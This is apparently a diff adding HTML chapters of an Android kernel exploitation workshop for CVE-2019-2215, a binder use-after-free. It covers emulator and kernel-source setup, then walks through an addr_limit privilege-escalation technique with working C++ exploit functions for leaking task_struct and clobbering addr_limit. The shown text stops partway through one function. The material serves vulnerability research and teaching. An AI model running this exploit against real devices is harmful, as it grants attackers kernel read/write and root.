ashfaq@hacksys:~$ git clone https://github.com/cloudfuzz/android-kernel-exploitation ~/workshop
+
+

Android Studio

+

Installation instruction for Android Studio can be found here https://developer.android.com/studio/install

+

Once Android Studio is installed, make sure to add ~/Android/Sdk/platform-tools and ~/Android/Sdk/emulator to your PATH environment variable. This will allow as to access adb and emulator command without specifying the complete path.

+

Android NDK

+

Installation instruction for Android NDK can be found here https://developer.android.com/studio/projects/install-ndk

+

+ Android Studio +

+ +

+ Configure Menu +

+ +

+ NDK Version +

+ +
+

I'm currently using Android NDK version: 21.0.6113669. However, the latest version of the Android NDK should be fine.

+
+

Android Virtual Device

+

For this workshop, we are going to use Android 10.0 (Q) Google Play Intel x86 Atom_64 System Image.

+

+ Android System Image +

+ +

Once you have downloaded the system image, we will have to create a Virtual Device.

+

+ AVD Main Window +

+ +

+ AVD Device Definition +

+ +

+ AVD System Image +

+ +

+ AVD Configuration Verification +

+ +

+ AVD Device List +

+ +

+ Android Emulator +

+ +

You can also launch the virtual device that we created from the command line.

+
ashfaq@hacksys:~/workshop$ emulator -avd CVE-2019-2215
+
+

Android Kernel Source Code

+

Android is powered by Linux kernel. For this workshop, we are going to use q-goldfish-android-goldfish-4.14-dev branch of the Android kernel source repository.

+
+

Note: For more information on building custom kernels for Android visit https://source.android.com/setup/build/building-kernels

+
+

Google suggests to use repo for synchronizing the kernel source tree. Read more about repo here: https://gerrit.googlesource.com/git-repo/+/refs/heads/master/README.md

+

Once repo has been installed, you can now start synchronizing the kernel source tree. This will also download the necessary build tools.

+

We do not want to download the repository with all the commit history and different branches. So, we will do a shallow clone.

+

Currently, I'm on 182a76ba7053af521e4c0d5fd62134f1e323191d commit id and repo command does not allow us to specify a commit id to clone from command line. So, I have created a custom manifest file that we will replace after the repo has been initialized.

+
<?xml version="1.0" encoding="UTF-8"?>
+<manifest>
+  <remote  name="aosp" fetch=".." review="https://android-review.googlesource.com/" />
+  <default revision="master" remote="aosp" sync-j="4" />
+  <project path="build" name="kernel/build" revision="master" />
+  <project path="goldfish" name="kernel/goldfish" revision="182a76ba7053af521e4c0d5fd62134f1e323191d" />
+  <project path="kernel/tests" name="kernel/tests" revision="master" />
+  <project path="prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9" name="platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9" clone-depth="1" />
+  <project path="prebuilts/gcc/linux-x86/x86/x86_64-linux-android-4.9" name="platform/prebuilts/gcc/linux-x86/x86/x86_64-linux-android-4.9" clone-depth="1" />
+  <project path="prebuilts-master/clang/host/linux-x86" name="platform/prebuilts/clang/host/linux-x86" clone-depth="1" />
+</manifest>
+
+

The only change I did in this custom manifest was to specify the commit hash in the revision attribute instead of branch name.

+
6c6
+<   <project path="goldfish" name="kernel/goldfish" revision="android-goldfish-4.14-dev" />
+---
+>   <project path="goldfish" name="kernel/goldfish" revision="182a76ba7053af521e4c0d5fd62134f1e323191d" />
+
+
+

Note: It will take around 12 GB of disk space, so make sure you have enough space on the machine before running the below commands.

+
+
ashfaq@hacksys:~$ mkdir ~/workshop
+ashfaq@hacksys:~$ cd workshop/
+ashfaq@hacksys:~/workshop$ mkdir android-4.14-dev
+ashfaq@hacksys:~/workshop$ cd android-4.14-dev/
+ashfaq@hacksys:~/workshop/android-4.14-dev$ repo init --depth=1 -u https://android.googlesource.com/kernel/manifest -b q-goldfish-android-goldfish-4.14-dev
+ashfaq@hacksys:~/workshop/android-4.14-dev$ cp ../custom-manifest/default.xml .repo/manifests/
+ashfaq@hacksys:~/workshop/android-4.14-dev$ repo sync -c --no-tags --no-clone-bundle -j`nproc`
+
+

Once the source tree has been synchronized, we are good to proceed with the workshop.

+ + +
+ +
+
+
+ +

results matching ""

+
    + +
    +
    + +

    No results matching ""

    + +
    +
    +
    + +
    +
    + +
    + + + + + + + + + + + + + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/chapters/exploitation.html b/chapters/exploitation.html new file mode 100644 index 0000000..7ea50f1 --- /dev/null +++ b/chapters/exploitation.html @@ -0,0 +1,1996 @@ + + + + + + + Exploitation ยท Android Kernel Exploitation + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + +
    + +
    + +
    + + + + + + + + +
    +
    + +
    +
    + +
    + +

    Exploitation

    +

    In Root Cause Analysis section we understood the vulnerability and why it happened.

    +

    We know that there are two places where the use of dangling binder_thread structure chunk happens.

    +

    The first use happen when remove_wait_qeue function tries to acquire the spin lock. However, it is not so much interesting from the point of view of exploitation.

    +

    The second use happens in the internal function __remove_wait_queue where it tries to unlink the poll wait queue. This is very interesting from the point of view of exploitation as we get a primitive where we can write pointer to binder_thread->wait.head to binder_thread->wait.head.next and binder_thread->wait.head.prev on a dangling chunk.

    +

    Let's revisit the struct binder_thread which is defined in workshop/android-4.14-dev/goldfish/drivers/android/binder.c.

    +
    struct binder_thread {
+        struct binder_proc *proc;
+        struct rb_node rb_node;
+        struct list_head waiting_thread_node;
+        int pid;
+        int looper;              /* only modified by this thread */
+        bool looper_need_return; /* can be written by other thread */
+        struct binder_transaction *transaction_stack;
+        struct list_head todo;
+        bool process_todo;
+        struct binder_error return_error;
+        struct binder_error reply_error;
+        wait_queue_head_t wait;
+        struct binder_stats stats;
+        atomic_t tmp_ref;
+        bool is_dead;
+        struct task_struct *task;
+};
+
    +

    If you look closely, you will notice that pointer to struct task_struct is also a member of this binder_thread structure.

    +

    If somehow we can leak this, we will know where the task_struct of the current process is.

    +
    +

    Note: Read more about task_struct structure and Linux privilege escalation in Linux Privilege Escalation section.

    +
    +

    Now, let's see how we can exploit this vulnerability. As the exploit mitigations are increasing day by day, it's very important to build better primitives.

    +

    Primitive

    +

    task_struct structure has an important member addr_limit of type mm_segment_t. addr_limit stores the highest valid user space address.

    +

    addr_limit is part of struct thread_info or struct thread_struct depending on the target architecture. As we are now dealing with x86_64 bit system, addr_limit is defined in struct thread_struct and it's part of task_struct structure.

    +

    To understand more about addr_limit, let's see the prototype of read and write system call.

    +
    ssize_t read(int fd, void *buf, size_t count);
+ssize_t write(int fd, const void *buf, size_t count);
+
    +

    read, write, etc., system call can pass a pointer to user space address to system functions. This is where addr_limit comes into picture. These system functions use access_ok function to validate if the passed address is really a user space address and it's accessible.

    +

    As we are on x86_64 bit system at the moment, let's open workshop/android-4.14-dev/goldfish/arch/x86/include/asm/uaccess.h and see how access_ok is defined.

    +
    #define access_ok(type, addr, size)                                     \
+({                                                                      \
+        WARN_ON_IN_IRQ();                                               \
+        likely(!__range_not_ok(addr, size, user_addr_max()));           \
+})
+
+#define user_addr_max() (current->thread.addr_limit.seg)
+
    +

    As you can see user_addr_max uses current->thread.addr_limit.seg for validation. If we can clobber this addr_limit with 0xFFFFFFFFFFFFFFFF, we will be able to read and write to any part of the kernel space memory.

    +
    +

    Note: Vitaly Nikolenko (@vnik5287) pointed out that in arm64 there is a check in do_page_fault function which will crash the process if the addr_limit is set to 0xFFFFFFFFFFFFFFFF. I did all of my tests on x86_64 system so did not notice that in the beginning.

    +
    +

    Let's open workshop/android-4.14-dev/goldfish/arch/arm64/mm/fault.c and investigate do_page_fault function.

    +
    static int __kprobes do_page_fault(unsigned long addr, unsigned int esr,
+                                   struct pt_regs *regs)
+{
+        struct task_struct *tsk;
+        struct mm_struct *mm;
+        int fault, sig, code, major = 0;
+        unsigned long vm_flags = VM_READ | VM_WRITE;
+        unsigned int mm_flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
+        [...]
+        if (is_ttbr0_addr(addr) && is_permission_fault(esr, regs, addr)) {
+                /* regs->orig_addr_limit may be 0 if we entered from EL0 */
+                if (regs->orig_addr_limit == KERNEL_DS)
+                        die("Accessing user space memory with fs=KERNEL_DS", regs, esr);
+                [...]
+        }
+        [...]
+        return 0;
+}
+
    +
      +
    • checks if orig_addr_limit == KERNEL_DS then it will crash, basically KERNEL_DS = 0xFFFFFFFFFFFFFFFF
      • +
    +

    For the better compatibility of the exploit on x86_64 and arm64, it's better to set addr_limit to 0xFFFFFFFFFFFFFFFE.

    +

    Using this vulnerability, we would like to corrupt addr_limit to upgrade our simple primitive to more powerful primitive called Arbitrary Read Write primitive.

    +

    Arbitrary Read Write primitives are also called as data only attacks. Where we do not hijack the execution flow of the CPU and just corrupt targeted data structures to achieve privilege escalation.

    +

    Corruption Target

    +

    We are going to use struct iovec as the corruption target as used by Maddie Stone and Jann Horn of Project Zero. The use of struct iovec was first published by Di Shen of KeenLab.

    +

    struct iovec is used for Vectored I/O also know as Scatter/Gather I/O.

    +

    Vectored I/O is used to read data to a single buffer from multiple buffers and write data from single buffer to multiple buffers. This is used to reduce the overhead associated with multiple system calls if we want to read and write to multiple buffers using read or write system call.

    +

    In Linux, Vectored I/O is achieved using iovec structure and system calls like readv, writev, recvmsg, sendmsg, etc.

    +

    Let's see how struct iovec is defined in workshop/android-4.14-dev/goldfish/include/uapi/linux/uio.h.

    +
    struct iovec
+{
+    void __user *iov_base;    /* BSD uses caddr_t (1003.1g requires void *) */
+    __kernel_size_t iov_len; /* Must be size_t (1003.1g) */
+};
+
    +

    To better understand Vectored I/O, and how iovec works let's see the below given diagram.

    +

    + Vectored I/O Working +

    + +

    Advantages of struct iovec

    +
      +
    • small in size, on x64 bit system it's size is 0x10 bytes
      • +
    • we can control all the members iov_base and iov_len
      • +
    • we can stack them together to control desired kmalloc cache
      • +
    • it has a pointer to buffer and length of the buffer, which is a great target for corruption
      • +
    +

    One of the main issue with struct iovec is that they are short lived. They are allocated by system calls when they are working with the buffers and immediately freed when they return to user mode.

    +

    We want the iovec structure to stay in kernel when we trigger the unlink operation and overwrite the iov_base pointer with the address of binder_thread->wait.head to gain scoped read and write.

    +
    +

    Note: We are on Android 4.14 kernel, however, Project Zero guys wrote the exploit for Android 4.4 kernel which does not have additional access_ok checks in lib/iov_iter.c. So, we had already applied the patch to revert those additional checks which would prevents us from leaking kernel space memory chunk.

    +
    +

    How do we make iovec structure stay in kernel before we trigger the unlink operation?

    +

    One way is to use system calls like readv, writev on a pipe file descriptor because it can block if the pipe is full or empty.

    +

    pipe is an unidirectional data channel that can be used for interprocess communication. The blocking feature of pipe gives us significant time window to corrupt iovec structure in kernel space.

    +

    In the same manner we can use recvmsg system call to block by passing MSG_WAITALL as the flag parameter.

    +

    Let's dig into writev system call and figure out how it uses iovec structure. Let's open workshop/android-4.14-dev/goldfish/fs/read_write.c and look into the implementation.

    +
    SYSCALL_DEFINE3(writev, unsigned long, fd, const struct iovec __user *, vec,
+                unsigned long, vlen)
+{
+        return do_writev(fd, vec, vlen, 0);
+}
+
+static ssize_t do_writev(unsigned long fd, const struct iovec __user *vec,
+                         unsigned long vlen, rwf_t flags)
+{
+        struct fd f = fdget_pos(fd);
+        ssize_t ret = -EBADF;
+
+        if (f.file) {
+                [...]
+                ret = vfs_writev(f.file, vec, vlen, &pos, flags);
+                [...]
+        }
+        [...]
+        return ret;
+}
+
+static ssize_t vfs_writev(struct file *file, const struct iovec __user *vec,
+                   unsigned long vlen, loff_t *pos, rwf_t flags)
+{
+        struct iovec iovstack[UIO_FASTIOV];
+        struct iovec *iov = iovstack;
+        struct iov_iter iter;
+        ssize_t ret;
+
+        ret = import_iovec(WRITE, vec, vlen, ARRAY_SIZE(iovstack), &iov, &iter);
+        if (ret >= 0) {
+                [...]
+                ret = do_iter_write(file, &iter, pos, flags);
+                [...]
+        }
+        return ret;
+}
+
    +
      +
    • writev passes the pointer to iovec structure and number of iovec from user space to a function do_writev
      • +
    • do_writev passes the same information to another function vfs_writev with some additional parameters
      • +
    • vfs_writev passes the same information to another function import_iovec with some additional parameters
      • +
    +

    Let's open workshop/android-4.14-dev/goldfish/lib/iov_iter.c and look at the implementation of import_iovec function.

    +
    int import_iovec(int type, const struct iovec __user * uvector,
+                 unsigned nr_segs, unsigned fast_segs,
+                 struct iovec **iov, struct iov_iter *i)
+{
+        ssize_t n;
+        struct iovec *p;
+        n = rw_copy_check_uvector(type, uvector, nr_segs, fast_segs,
+                                  *iov, &p);
+        [...]
+        iov_iter_init(i, type, p, nr_segs, n);
+        *iov = p == *iov ? NULL : p;
+        return 0;
+}
+
    +
      +
    • import_iovec passes the same information about iovec to another function rw_copy_check_uvector with some additional parameters
      • +
    • initializes the kernel iovec structure stack by calling iov_iter_init
      • +
    +

    Let's open workshop/android-4.14-dev/goldfish/fs/read_write.c and look at the implementation of rw_copy_check_uvector function.

    +
    ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector,
+                              unsigned long nr_segs, unsigned long fast_segs,
+                              struct iovec *fast_pointer,
+                              struct iovec **ret_pointer)
+{
+        unsigned long seg;
+        ssize_t ret;
+        struct iovec *iov = fast_pointer;
+        [...]
+        if (nr_segs > fast_segs) {
+                iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL);
+                [...]
+        }
+        if (copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))) {
+                [...]
+        }
+        [...]
+        ret = 0;
+        for (seg = 0; seg < nr_segs; seg++) {
+                void __user *buf = iov[seg].iov_base;
+                ssize_t len = (ssize_t)iov[seg].iov_len;
+                [...]
+                if (type >= 0
+                    && unlikely(!access_ok(vrfy_dir(type), buf, len))) {
+                        [...]
+                }
+                if (len > MAX_RW_COUNT - ret) {
+                        len = MAX_RW_COUNT - ret;
+                        iov[seg].iov_len = len;
+                }
+                ret += len;
+        }
+        [...]
+        return ret;
+}
+
    +
      +
    • rw_copy_check_uvector allocates kernel space memory and calculates the size of the allocation by doing nr_segs*sizeof(struct iovec)
        +
      • here, nr_segs is equal to the count in iovec structure stack that we passed from user space
        • +
      +
      • +
    • copies the iovec structure stack from user space to newly allocated kernel space by calling copy_from_user function.
      • +
    • validates whether iov_base pointer is valid by calling access_ok function.
      • +
    +

    As you can see how rw_copy_check_uvector helps us to control desired kmalloc cache

    +

    Leaking task_struct*

    +

    Let's see the strategy to leak task_struct pointer which is stored in binder_thread. We will use writev system call this time as we want to achieve scoped read from kernel space to user space.

    +

    Size of binder_thread structure is equal to 408 bytes. If you know about SLUB allocator, you will know that kmalloc-512 contains all the object whose size is greater than 256 but less than equal to 512 bytes. As the size of the binder_thread structure is 408 bytes, it will end up in kmalloc-512 cache.

    +

    First we need to figure out how many iovec structure we need to stack up to reallocate binder_thread freed chunk.

    +
    gef> p /d sizeof(struct binder_thread)
+$4 = 408
+gef> p /d sizeof(struct iovec)        
+$5 = 16
+gef> p /d sizeof(struct binder_thread) / sizeof(struct iovec)
+$9 = 25
+gef> p /d 25*16
+$16 = 400
+

    We see that we will need to stack up 25 iovec structures to reallocate the dangling chunk.

    +
    +

    Note: 25 iovec structures are 400 bytes in size. This is a good thing, otherwise task_struct pointer would also get clobbered and we would not be able to leak it.

    +
    +

    If you remember, when the unlink operation happened two quadwords where written to the dangling chunk. Let's figure out which iovec structures will be clobbered.

    +
    gef> p /d offsetof(struct binder_thread, wait) / sizeof(struct iovec)
+$13 = 10
+
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    offsetbinder_threadiovecStack
    0x00...iovecStack[0].iov_base = 0x0000000000000000
    0x08...iovecStack[0].iov_len = 0x0000000000000000
    .........
    .........
    0xA0wait.lockiovecStack[10].iov_base = m_4gb_aligned_page
    0xA8wait.head.nextiovecStack[10].iov_len = PAGE_SIZE
    0xB0wait.head.previovecStack[11].iov_base = 0x41414141
    0xB8...iovecStack[11].iov_len = PAGE_SIZE
    .........
    +

    As we can see from the above table, iovecStack[10].iov_len and iovecStack[11].iov_base will be clobbered.

    +

    So, we would want to process iovecStack[10], block writev system call and then trigger the unlink operation. This will ensure that when iovecStack[11].iov_base is clobbered, we will resume the writev system call. Then finally, leak the content of the binder_thread chunk back to user space and read task_struct pointer from it.

    +

    But, what's the importance of m_4gb_aligned_page in this case?

    +

    Before doing the unlink operation, remove_wait_queue tries to acquire spin lock. If the value is not 0, then the thread will keep on spinning and the unlink operation will never occur. As iov_base is a 64 bit value, we want to ensure that lower 32 bits is 0.

    +
    +

    Note: To effectively, use the blocking feature of writev system calls we will need at least two light weight processes.

    +
    +

    Let's build the attack plan to leak task_struct structure pointer

    +
      +
    • create pipe, get the file descriptors and set the maximum buffer size to PAGE_SIZE
      • +
    • link eventpoll wait queue to binder_thread wait queue
      • +
    • fork the process
        +
      • parent process
          +
        • free the binder_thread structure
          • +
        • trigger writev system call and keep blocking
          • +
        • once writev system call resumes, it will process iovecStack[11] which is already clobbered due to unlink operation
          • +
        • read the pointer to task_struct from the leaked kernel space chunk
          • +
        +
        • +
      • child process
          +
        • sleep to avoid race conditions
          • +
        • trigger the unlink operation
          • +
        • read dummy data from the pipe which is written by processing iovecStack[10], this will resume writev system call
          • +
        +
        • +
      +
      • +
    +

    To better understand the flow of exploitation, let's see a diagram created by Maddie Stone on Project Zero blog post. The diagram is very accurate and I do not want to redraw the same.

    +

    + Task Struct Leak Exploitation Flow +

    + + +

    Now, let's see the how the same could be achieved in the exploit code.

    +
    void BinderUaF::leakTaskStruct() {
+    int pipe_fd[2] = {0};
+    ssize_t nBytesRead = 0;
+    static char dataBuffer[PAGE_SIZE] = {0};
+    struct iovec iovecStack[IOVEC_COUNT] = {nullptr};
+
+    //
+    // Get binder fd
+    //
+
+    setupBinder();
+
+    //
+    // Create event poll
+    //
+
+    setupEventPoll();
+
+    //
+    // We are going to use iovec for scoped read/write,
+    // we need to make sure that iovec stays in the kernel
+    // before we trigger the unlink after binder_thread has
+    // been freed.
+    //
+    // One way to achieve this is by using the blocking APIs
+    // in Linux kernel. Such APIs are read, write, etc on pipe.
+    //
+
+    //
+    // Setup pipe for iovec
+    //
+
+    INFO("[+] Setting up pipe\n");
+
+    if (pipe(pipe_fd) == -1) {
+        ERR("\t[-] Unable to create pipe\n");
+        exit(EXIT_FAILURE);
+    } else {
+        INFO("\t[*] Pipe created successfully\n");
+    }
+
+    //
+    // pipe_fd[0] = read fd
+    // pipe_fd[1] = write fd
+    //
+    // Default size of pipe is 65536 = 0x10000 = 64KB
+    // This is way much of data that we care about
+    // Let's reduce the size of pipe to 0x1000
+    //
+    if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) == -1) {
+        ERR("\t[-] Unable to change the pipe capacity\n");
+        exit(EXIT_FAILURE);
+    } else {
+        INFO("\t[*] Changed the pipe capacity to: 0x%x\n", PAGE_SIZE);
+    }
+
+    INFO("[+] Setting up iovecs\n");
+
+    //
+    // As we are overlapping binder_thread with iovec,
+    // binder_thread->wait.lock will align to iovecStack[10].io_base.
+    //
+    // If binder_thread->wait.lock is not 0 then the thread will get
+    // stuck in trying to acquire the lock and the unlink operation
+    // will not happen.
+    //
+    // To avoid this, we need to make sure that the overlapped data
+    // should be set to 0.
+    //
+    // iovec.iov_base is a 64bit value, and spinlock_t is 32bit, so if
+    // we can pass a valid memory address whose lower 32bit value is 0,
+    // then we can avoid spin lock issue.
+    //
+
+    mmap4gbAlignedPage();
+
+    iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;
+    iovecStack[IOVEC_WQ_INDEX].iov_len = PAGE_SIZE;
+    iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141;
+    iovecStack[IOVEC_WQ_INDEX + 1].iov_len = PAGE_SIZE;
+
+    //
+    // Now link the poll wait queue to binder thread wait queue
+    //
+
+    linkEventPollWaitQueueToBinderThreadWaitQueue();
+
+    //
+    // We should trigger the unlink operation when we
+    // have the binder_thread reallocated as iovec array
+    //
+
+    //
+    // Now fork
+    //
+
+    pid_t childPid = fork();
+
+    if (childPid == 0) {
+        //
+        // child process
+        //
+
+        //
+        // There is a race window between the unlink and blocking
+        // in writev, so sleep for a while to ensure that we are
+        // blocking in writev before the unlink happens
+        //
+
+        sleep(2);
+
+        //
+        // Trigger the unlink operation on the reallocated chunk
+        //
+
+        unlinkEventPollWaitQueueFromBinderThreadWaitQueue();
+
+        //
+        // First interesting iovec will read 0x1000 bytes of data.
+        // This is just the junk data that we are not interested in
+        //
+
+        nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer));
+
+        if (nBytesRead != PAGE_SIZE) {
+            ERR("\t[-] CHILD: read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE);
+            exit(EXIT_FAILURE);
+        }
+
+        exit(EXIT_SUCCESS);
+
+    }
+
+    //
+    // parent process
+    //
+
+    //
+    // I have seen some races which hinders the reallocation.
+    // So, now freeing the binder_thread after fork.
+    //
+
+    freeBinderThread();
+
+    //
+    // Reallocate binder_thread as iovec array
+    //
+    // We need to make sure this writev call blocks
+    // This will only happen when the pipe is already full
+    //
+
+    //
+    // This print statement was ruining the reallocation,
+    // spent a night to figure this out. Commenting the
+    // below line.
+    //
+
+    // INFO("[+] Reallocating binder_thread\n");
+
+
+    ssize_t nBytesWritten = writev(pipe_fd[1], iovecStack, IOVEC_COUNT);
+
+    //
+    // If the corruption was successful, the total bytes written
+    // should be equal to 0x2000. This is because there are two
+    // valid iovec and the length of each is 0x1000
+    //
+
+    if (nBytesWritten != PAGE_SIZE * 2) {
+        ERR("\t[-] writev failed. nBytesWritten: 0x%lx, expected: 0x%x\n", nBytesWritten, PAGE_SIZE * 2);
+        exit(EXIT_FAILURE);
+    } else {
+        INFO("\t[*] Wrote 0x%lx bytes\n", nBytesWritten);
+    }
+
+    //
+    // Now read the actual data from the corrupted iovec
+    // This is the leaked data from kernel address space
+    // and will contain the task_struct pointer
+    //
+
+    nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer));
+
+    if (nBytesRead != PAGE_SIZE) {
+        ERR("\t[-] read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE);
+        exit(EXIT_FAILURE);
+    }
+
+    //
+    // Wait for the child process to exit
+    //
+
+    wait(nullptr);
+
+    m_task_struct = (struct task_struct *) *((int64_t *) (dataBuffer + TASK_STRUCT_OFFSET_IN_LEAKED_DATA));
+
+    m_pidAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, pid));
+    m_credAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, cred));
+    m_nsproxyAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, nsproxy));
+
+    INFO("[+] Leaked task_struct: %p\n", m_task_struct);
+    INFO("\t[*] &task_struct->pid: %p\n", m_pidAddress);
+    INFO("\t[*] &task_struct->cred: %p\n", m_credAddress);
+    INFO("\t[*] &task_struct->nsproxy: %p\n", m_nsproxyAddress);
+}
+
    +

    I hope know you have a better idea what's going on and how in-flight iovec structure was used for leaking task_struct pointer.

    +

    Clobber addr_limit

    +

    We have leaked task_struct pointer, now it's time to clobber mm_segment_t addr_limit.

    +

    We can't use writev because we do not want to achieve scoped read but instead we want scoped write to kernel space. Initially I tried readv blocking feature to achieve the scoped write but I found few issue because of which we can not use it.

    +

    Below given are some of the reasons

    +
      +
    • readv will not process one iovec and block like writev calls does
      • +
    • when iovecStack[10].iov_len is clobbered with a pointer, the length is now a big number and when copy_page_to_iter_iovec function tries to copy the data by processing the iovec structure stack, it fails.
      • +
    +

    Let's open workshop/android-4.14-dev/goldfish/lib/iov_iter.c and see the implementation of copy_page_to_iter_iovec function.

    +
    static size_t copy_page_to_iter_iovec(struct page *page, size_t offset, size_t bytes,
+                         struct iov_iter *i)
+{
+        size_t skip, copy, left, wanted;
+        const struct iovec *iov;
+        char __user *buf;
+        void *kaddr, *from;
+        [...]
+        while (unlikely(!left && bytes)) {
+                iov++;
+                buf = iov->iov_base;
+                copy = min(bytes, iov->iov_len);
+                left = copyout(buf, from, copy);
+                [...]
+        }
+        [...]
+        return wanted - bytes;
+}
+
    +
      +
    • when it tries to process the clobbered iovecStack[10], it tries to compute the length of the copy in this line copy = min(bytes, iov->iov_len)
      • +
    • bytes is equal to sum of all the iov_len in the iovecStack and iov->iov_len is the iovecStack[10].iov_len which is now clobbered with a pointer
      • +
    • this is where things go wrong because, now length becomes copy = bytes and skips the processing of iovecStack[11] which would have given us the scoped write
      • +
    +

    For achieving scoped write, we are going to use recvmsg system call to block by passing MSG_WAITALL as the flag parameter. recvmsg system call can block just like writev system call and would would not encounter the issue we discussed with readv system call.

    +

    Let's see what we want to write to addr_limit field.

    +
    gef> p sizeof(mm_segment_t) 
+$17 = 0x8
+

    As the size of mm_segment_t is 0x8 bytes, we would want to clobber it with 0xFFFFFFFFFFFFFFFE as it's the highest valid kernel space address and will not crash the process if page fault occurs in arm64 system.

    +

    Now, let's see how we will overlap binder_thread structure chunk with iovec structure stack in this case.

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    offsetbinder_threadiovecStack
    0x00...iovecStack[0].iov_base = 0x0000000000000000
    0x08...iovecStack[0].iov_len = 0x0000000000000000
    .........
    .........
    0xA0wait.lockiovecStack[10].iov_base = m_4gb_aligned_page
    0xA8wait.head.nextiovecStack[10].iov_len = 1
    0xB0wait.head.previovecStack[11].iov_base = 0x41414141
    0xB8...iovecStack[11].iov_len = 0x8 + 0x8 + 0x8 + 0x8
    0xC0...iovecStack[12].iov_base = 0x42424242
    0xC8...iovecStack[12].iov_len = 0x8
    .........
    +

    Again, iovecStack[10].iov_len and iovecStack[11].iov_base will be clobbered with a pointer. However, we will only trigger the unlink operation, when iovecStack[10] is already processed and recvmsg system call is blocking and waiting to receive the rest of the messages.

    +

    When the clobber is done, we will write rest of the data (finalSocketData) to the socket file descriptor and then recvmsg system call will resume automatically.

    +
    static uint64_t finalSocketData[] = {
+        0x1,                    // iovecStack[IOVEC_WQ_INDEX].iov_len
+        0x41414141,             // iovecStack[IOVEC_WQ_INDEX + 1].iov_base
+        0x8 + 0x8 + 0x8 + 0x8,  // iovecStack[IOVEC_WQ_INDEX + 1].iov_len
+        (uint64_t) ((uint8_t *) m_task_struct +
+                    OFFSET_TASK_STRUCT_ADDR_LIMIT), // iovecStack[IOVEC_WQ_INDEX + 2].iov_base
+        0xFFFFFFFFFFFFFFFE      // addr_limit value
+};
+
    +

    Let's see what will happen after clobber

    +
      +
    • iovecStack[10] is already processed before we trigger the unlink operation
      • +
    • iovecStack[10].iov_len and iovecStack[11].iov_base is clobbered with a pointer
      • +
    • when recvmsg starts processing iovecStack[11]
        +
      • it will write 1 to iovecStack[10].iov_len which was earlier clobbered, basically fix it back to it's initial value
        • +
      • write 0x41414141 to iovecStack[11].iov_base
        • +
      • write 0x20 to iovecStack[11].iov_len
        • +
      • write address of addr_limit to iovecStack[12].iov_base
        • +
      +
      • +
    • now, when recvmsg starts processing iovecStack[12]
        +
      • write 0xFFFFFFFFFFFFFFFE to addr_limit
        • +
      +
      • +
    +

    This is how we will convert scoped write to controlled arbitrary write.

    +

    Let's build the attack plan to clobber addr_limit

    +
      +
    • create socketpair and get the file descriptors
      • +
    • write 0x1 byte of junk data to socket's write descriptor
      • +
    • link eventpoll wait queue to binder_thread wait queue
      • +
    • fork the process
        +
      • parent process
          +
        • free the binder_thread structure
          • +
        • trigger recvmsg system call, it will process the 0x1 byte of junk data that we wrote, then blocks and waits to receive rest of the data
          • +
        • once recvmsg system call resumes, it will process iovecStack[11] which is already clobbered due to unlink operation
          • +
        • once recvmsg system call returns it would have clobbered addr_limit
          • +
        +
        • +
      • child process
          +
        • sleep to avoid race conditions
          • +
        • trigger the unlink operation
          • +
        • write rest of the data finalSocketData to the socket's write descriptor
          • +
        +
        • +
      +
      • +
    +

    Now, let's see the how the same could be achieved in the exploit code.

    +
    void BinderUaF::clobberAddrLimit() {
+    int sock_fd[2] = {0};
+    ssize_t nBytesWritten = 0;
+    struct msghdr message = {nullptr};
+    struct iovec iovecStack[IOVEC_COUNT] = {nullptr};
+
+    //
+    // Get binder fd
+    //
+
+    setupBinder();
+
+    //
+    // Create event poll
+    //
+
+    setupEventPoll();
+
+    //
+    // For clobbering the addr_limit we trigger the unlink
+    // operation again after reallocating binder_thread with
+    // iovecs
+    //
+    // If you see how we manage to leak kernel data is by using
+    // the blocking feature of writev
+    //
+    // We could use readv blocking feature to do scoped write
+    // However, after trying readv and reading the Linux kernel
+    // code, I figured out an issue which makes readv useless for
+    // current bug.
+    //
+    // The main issue that I found is:
+    //
+    // iovcArray[IOVEC_COUNT].iov_len is clobbered with a pointer
+    // due to unlink operation
+    //
+    // So, when copy_page_to_iter_iovec tries to process the iovecs,
+    // there is a line of code, copy = min(bytes, iov->iov_len);
+    // Here, "bytes" is equal to sum of all iovecs length and as
+    // "iov->iov_len" is corrupted with a pointer which is obviously
+    // a very big number, now copy = sum of all iovecs length and skips
+    // the processing of the next iovec which is the target iovec which
+    // would give was scoped write.
+    //
+    // I believe P0 also faced the same issue so they switched to recvmsg
+    //
+
+    //
+    // Setup socketpair for iovec
+    //
+    // AF_UNIX/AF_LOCAL is used because we are interested only in
+    // local communication
+    //
+    // We use SOCK_STREAM so that MSG_WAITALL can be used in recvmsg
+    //
+
+    INFO("[+] Setting up socket\n");
+
+    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fd) == -1) {
+        ERR("\t[-] Unable to create socketpair\n");
+        exit(EXIT_FAILURE);
+    } else {
+        INFO("\t[*] Socketpair created successfully\n");
+    }
+
+    //
+    // We will just write junk data to socket so that when recvmsg
+    // is called it process the fist valid iovec with this junk data
+    // and then blocks and waits for the rest of the data to be received
+    //
+
+    static char junkSocketData[] = {
+            0x41
+    };
+
+    INFO("[+] Writing junk data to socket\n");
+
